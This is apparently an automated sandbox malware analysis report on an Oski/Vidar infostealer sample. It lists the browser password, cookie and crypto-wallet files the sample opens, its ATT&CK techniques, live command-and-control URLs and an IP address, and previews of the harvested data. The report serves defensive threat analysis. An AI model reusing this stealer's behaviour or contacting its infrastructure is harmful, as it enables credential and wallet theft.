Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_00506D00 SetFilePointer,SetFilePointer,GetLocalTime,SystemTimeToFileTime,

0_2_00506D00

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_004FD6E2 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_004FD6E2

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_0050BEE0 _memset,_memset,GetVersionExA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,WideCharToMultiByte,_fprintf,_fprintf,_fprintf,_fprintf,WideCharToMultiByte,_fprintf,_fprintf,WideCharToMultiByte,_fprintf,_fprintf,_fprintf,_fprintf,WideCharToMultiByte,_fprintf,_fprintf,WideCharToMultiByte,WideCharToMultiByte,_fprintf,_fprintf,_fprintf,_fprintf,WideCharToMultiByte,_fprintf,_fprintf,WideCharToMultiByte,_fprintf,_fprintf,_fprintf,_fprintf,WideCharToMultiByte,_fprintf,_fprintf,FreeLibrary,

0_2_0050BEE0

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_0050B1E0 GetUserNameA,

0_2_0050B1E0

Stealing of Sensitive Information

Yara detected Oski Stealer

Source: Yara match	File source: 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PmX1jHdUnS.exe PID: 7776, type: MEMORYSTR
Source: Yara match	File source: PmX1jHdUnS.exe, type: SAMPLE
Source: Yara match	File source: 0.0.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: PmX1jHdUnS.exe PID: 7776, type: MEMORYSTR

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: PmX1jHdUnS.exe, 00000000.00000003.1297898010.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectronCash
Source: PmX1jHdUnS.exe, 00000000.00000003.1294224066.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\ProgramData\359572487740756\crypto\jaxxAl
Source: PmX1jHdUnS.exe, 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: PmX1jHdUnS.exe, 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: PmX1jHdUnS.exe, 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Exodus\\exodus.wallet\\
Source: PmX1jHdUnS.exe, 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: PmX1jHdUnS.exe, 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: PmX1jHdUnS.exe, 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Ethereum\\
Source: PmX1jHdUnS.exe, 00000000.00000003.1294224066.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: PmX1jHdUnS.exe, 00000000.00000003.1297898010.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: PmX1jHdUnS.exe, 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default_wallet
Source: PmX1jHdUnS.exe, 00000000.00000003.1298004199.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: PmX1jHdUnS.exe, 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: PmX1jHdUnS.exe, 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match

File source: Process Memory Space: PmX1jHdUnS.exe PID: 7776, type: MEMORYSTR

Remote Access Functionality

Yara detected Oski Stealer

Source: Yara match	File source: 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PmX1jHdUnS.exe PID: 7776, type: MEMORYSTR
Source: Yara match	File source: PmX1jHdUnS.exe, type: SAMPLE
Source: Yara match	File source: 0.0.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: PmX1jHdUnS.exe PID: 7776, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	11 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Process Injection	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	3 Obfuscated Files or Information	NTDS	1 System Owner/User Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	112 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	37 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PmX1jHdUnS.exe	82%	ReversingLabs	Win32.Spyware.AveMaria
PmX1jHdUnS.exe	100%	Avira	TR/AD.Chapak.dvwuj

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\sqlite3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://9enternecera.ru.com/os//main.php	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//3.jpgp	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//7.jpg	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//1.jpg	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//1.jpghx	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//4.jpg	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//2.jpgJ	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//5.jpgY	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//1.jpgf	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//5.jpg	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//3.jpg	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//4.jpgQ	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os/f	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//6.jpg	0%	Avira URL Cloud	safe
9enternecera.ru.com/os/	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//2.jpg	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os//main.phpm	0%	Avira URL Cloud	safe
http://9enternecera.ru.com/os/	0%	Avira URL Cloud	safe
http://www.mozilla.com0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
9enternecera.ru.com	103.83.194.50	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://9enternecera.ru.com/os//4.jpg	true	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os//main.php	true	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os//1.jpg	true	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os//7.jpg	true	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os//5.jpg	true	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os//3.jpg	true	Avira URL Cloud: safe	unknown
9enternecera.ru.com/os/	true	Avira URL Cloud: safe	low
http://9enternecera.ru.com/os//6.jpg	true	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os//2.jpg	true	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.0.dr	false		high
http://9enternecera.ru.com/os//3.jpgp	PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os//1.jpgf	PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os//5.jpgY	PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://9enternecera.ru.com/os//2.jpgJ	PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://9enternecera.ru.com/os//1.jpghx	PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com0	PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os/f	PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os//4.jpgQ	PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://9enternecera.ru.com/os//main.phpm	PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.83.194.50	9enternecera.ru.com	United States		132335	NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN	true

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1336856
Start date and time:	2023-11-03 18:52:52 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	PmX1jHdUnS.exe renamed because original name is a hash value
Original Sample Name:	95C729597254D7D13131A1D787EE8672.exe
Detection:	MAL
Classification:	mal100.troj.spyw.winEXE@6/13@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 78 Number of non-executed functions: 43
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: PmX1jHdUnS.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.83.194.50	REF#117300-100823.xlam.xlsx	Get hash	malicious	Unknown	Browse	sandiisells.com/.well-known/acme-challenge/cx/raf.vbs
	DC0376654883101.vbs	Get hash	malicious	Unknown	Browse	fumigueg.tk/scss/pQYcmyNJ26.pfm
	reciept_ 0014010303102_JPG.vbs	Get hash	malicious	AgentTesla	Browse	fumigueg.tk/fonts/BOBfCJckMbEdRRiDT182.asi
	PO 97594_JPG.vbs	Get hash	malicious	AgentTesla	Browse	fumiduer.tk/fonts/cVLrNwBcEnr8.dwp
	SWIFT.103_1873530473_PDF.vbs	Get hash	malicious	AgentTesla	Browse	fumiduer.tk/fonts/qQdCidiSDbbqpK88.deploy
	SWIFT.103_18735_PDF.vbs	Get hash	malicious	AgentTesla	Browse	fumiduer.tk/scss/jettfhbrJonUAyQcH202.emz
	Offer 1049346 xlsx.vbs	Get hash	malicious	AgentTesla	Browse	fumiduer.tk/fonts/cVLrNwBcEnr8.dwp
	Packing list ASPL22-23-1504_jpg.vbs	Get hash	malicious	AgentTesla	Browse	fumiduer.tk/fonts/qQdCidiSDbbqpK88.deploy

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN	REF#117300-100823.xlam.xlsx	Get hash	malicious	Unknown	Browse	103.83.194.50
	Draft_import_documents_.xls	Get hash	malicious	Unknown	Browse	103.150.31.73
	Swift_ACC_Credit_CS_Reference_A19000478.xls	Get hash	malicious	Unknown	Browse	103.150.31.73
	Swift_ACC_Credit_CS_Reference_A19000478.xls	Get hash	malicious	Unknown	Browse	103.150.31.73
	Draft_import_documents_.xls	Get hash	malicious	Unknown	Browse	103.150.31.73
	Swift_ACC_Credit_CS_Reference_A19000478.xls	Get hash	malicious	Unknown	Browse	103.150.31.73
	p7srRuj1Pd.elf	Get hash	malicious	Mirai	Browse	185.131.52.220
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	FormBook, GuLoader	Browse	45.64.105.11
	Wire Payment02132023.exe	Get hash	malicious	FormBook, GuLoader	Browse	45.64.105.11
	Purchase Order Form.exe	Get hash	malicious	FormBook, GuLoader	Browse	45.64.105.11
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	FormBook, GuLoader	Browse	45.64.105.11
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	FormBook, GuLoader	Browse	45.64.105.11
	PO. No. DM223778 IMG.vbs	Get hash	malicious	AgentTesla	Browse	103.83.194.19
	Rechnung_pdf.vbs	Get hash	malicious	AgentTesla	Browse	103.83.194.50
	SAMPLE & SPECIFICATIONS.vbs	Get hash	malicious	AgentTesla	Browse	103.83.194.50
	Rechnung_pdf.vbs	Get hash	malicious	AgentTesla	Browse	103.83.194.50
	factuur.vbs	Get hash	malicious	AgentTesla	Browse	103.83.194.50
	DC0376654883101.vbs	Get hash	malicious	Unknown	Browse	103.83.194.50
	Purchase order 50048205_JPG.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	103.83.194.50
	reciept_ 0014010303102_JPG.vbs	Get hash	malicious	AgentTesla	Browse	103.83.194.50

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	INV_34897003.pif.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	cBMUYyAn60.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse

Created / dropped Files

C:\ProgramData\359572487740756\_3595724877.zip

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	74863
Entropy (8bit):	7.991158127863224
Encrypted:	true
SSDEEP:	1536:OVrs3Q6RsNCWaIx47txlTFn9KRu8GiatLfwzS:XujaIx47JZniWfwm
MD5:	E69CAD0DB1999D14472D95E72B6BA021
SHA1:	69A81B220F3947802434035793943F0A9D2B475D
SHA-256:	8863D74057B8DCC6BEE110E81343F98FDA36B662EFCA7D3B06C294E3DACF1BDD
SHA-512:	8A7C760604A5FA77422ADB54A8BDFFD515316367912E97C00EDC4FBD62CDAAAE370BFC548CD44E4CB52AB334998FDC41581BB6D8C67BE2EDEC4F481EEDF5D27B
Malicious:	false
Reputation:	low
Preview:	PK..........cW............"...autofill/Google Chrome_Default.txtUT....3Ee.3Ee.3Ee..PK..........cW............#...autofill/Microsoft Edge_Default.txtUT....3Ee.3Ee.3Ee..PK..........cW................cc/Google Chrome_Default.txtUT....3Ee.3Ee.3Ee..PK..........cW................cc/Microsoft Edge_Default.txtUT....3Ee.3Ee.3Ee..PK..........cW..k.H...`...!...cookies/Google Chrome_Network.txtUT....3Ee.3Ee.3Ee.K..O.I.K......u...ts..v.44..4.0127.4...r...+.....C..Q..anhdl`l......U..PK..........cW............"...cookies/Microsoft Edge_Network.txtUT....3Ee.3Ee.3Ee..PK..........cW............4...cookies/Mozilla Firefox_091tobv5.default-release.txtUT....3Ee.3Ee.3Ee..PK..........cW................outlook.txtUT....3Ee.3Ee.3Ee..PK..........cW................passwords.txtUT....3Ee.3Ee.3Ee..PK..........cW.qu......7......screenshot.jpgUT....3Ee.3Ee.3Ee..y<T..>....I.!K..2.d_.}.[Y.T....X..}.l1c..D.m...}.e....?...~......9.3............pF]YM. ##...q.P..ihhi..iiiO..:.v.4#.i..Vf6>...x..^..u.....$..GHH.

C:\ProgramData\359572487740756\cookies\Google Chrome_Network.txt

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.844768229617391
Encrypted:	false
SSDEEP:	3:PJu3rrQ78k6lvLCRopHrsjmXW8NsskIvn:Pk3r87klvLIopYj4W2sskIvn
MD5:	E345C60DA889EE74EBFC058A447CE22C
SHA1:	1090DE9AEE8738291983FFDC55F49EAD4CAD4189
SHA-256:	45270733B0E90AF729328997E464D857208B0CBCD2263A24BB3F16BED8255713
SHA-512:	9322AC352D6BA5B984D166151ADED4C4DAFF9614F57A8DB99003A31171FD34C5E89764BD4C193B1FD1728B3A89F07F53867C2D8000D9C3E026238B2CB4BCFFB9
Malicious:	false
Reputation:	low
Preview:	.google.com.TRUE./.FALSE.1699084270.1P_JAR.null...google.com.FALSE./.FALSE.1712303470.NID.null..

C:\ProgramData\359572487740756\screenshot.jpg

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	79645
Entropy (8bit):	7.813746353263713
Encrypted:	false
SSDEEP:	1536:/gwIu4TUPAjKLW+Tx7npXGbCh2NWko3qgsiWkgyyk3MkSrox:II4BinpW2h2NWeirgyydkp
MD5:	85E82D73FA955CB6194E053D7214689D
SHA1:	FED78F2EE07AAFA92D6CDF2BB4D5053B3A33C150
SHA-256:	38FC2BB62E0AEE4CA18B4490A574E6C028723990D03F4C8A011CB4B55CDA6BB5
SHA-512:	B77529055568677D1533882F371E57ABE89530367511F7E75D09258567092B4686BF00EDC9F6825E7396C39843657AC8EA44C4E2465CD488FEDB578A2D27673D
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...ZJ.s..C..M...1.w8.....a,-...}..?...........KC6..[.9c........W.En......i....T..N^E..V;k.fQR.iqm.:.@z.8?C..U.j..i.f%.....QK@.Et...Dap.`..y.............yo7./..?.=5.....W.......H........^...siw-.`.'+.....c..8.......b0.J.l....Q]. QE........h.:..].3.....G..Z..^4!.-..>.x...;..................R...............G..?....q....G..k..!.qN.qvh......~Mrd.H#.Wf..N....N...V

C:\ProgramData\359572487740756\system.txt

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	5.04640308656588
Encrypted:	false
SSDEEP:	24:7+ofrALNN38HMcQ4uWYdbr/RDjBPh4wbYxyurpoTZPUNU0b/:7PSFGcr/RDjtFcyuwPY7/
MD5:	6972E01678BE90B94A540403CF7CA3AA
SHA1:	364F81FFDEB89E51827848DFBCC849F71B846F18
SHA-256:	B8AA9B283A1628C8F3B9AD54C4CE01E603959B8A7DA72674D477C1800C267EEC
SHA-512:	D4B4D08C7EBB39FBDCA8BFDB68A7AEE566A13CA8E8A8E262114D184BC57C94606666B9D67CD198EB9387C195E8693B4341A6BA847581AAF70B3B9A534397D636
Malicious:	false
Reputation:	low
Preview:	System ---------------------------------------------------..Windows: Windows 10 Pro..Bit: x64..User: user..Computer Name: 818225..System Language: en-CH..Machine ID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..Domain Name: Unknown..Workgroup: WORKGROUP..Keyboard Languages: English (United Kingdom) / English (United Kingdom)....Hardware -------------------------------------------------..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..Logical processors: 4..Videocard: Microsoft Basic Display Adapter..Display: 1280x1024..RAM: 8191 MB..Laptop: No....Time -----------------------------------------------------..Local: 3/11/2023 18:53:44..Zone: UTC1....Network --------------------------------------------------..IP: IP?..Country: Country?....Installed Softwrare --------------------------------------..Google Chrome 117.0.5938.149..Microsoft Edge 117.0.2045.47..Microsoft Edge Update 1.3.177.11..Microsoft Edge WebView2 Runtime 117.0.2045.47..Java Auto Upd

C:\ProgramData\359572487740756\temp

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
